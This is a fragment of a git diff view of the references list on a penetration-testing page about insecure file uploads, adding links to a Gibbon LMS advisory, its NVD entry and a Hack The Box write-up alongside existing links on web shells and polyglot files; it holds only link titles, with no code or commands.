- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||||
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||||
@ -357,6 +398,9 @@ More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-frie
|
|||||||
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||||
|
- [usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)](https://herolab.usd.de/security-advisories/usd-2023-0025/)
|
||||||
|
- [NVD – CVE-2023-45878](https://nvd.nist.gov/vuln/detail/CVE-2023-45878)
|
||||||
|
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||||
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
|
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
|
||||||
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
|
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
|
||||||
|
Loading…
x
Reference in New Issue
Block a user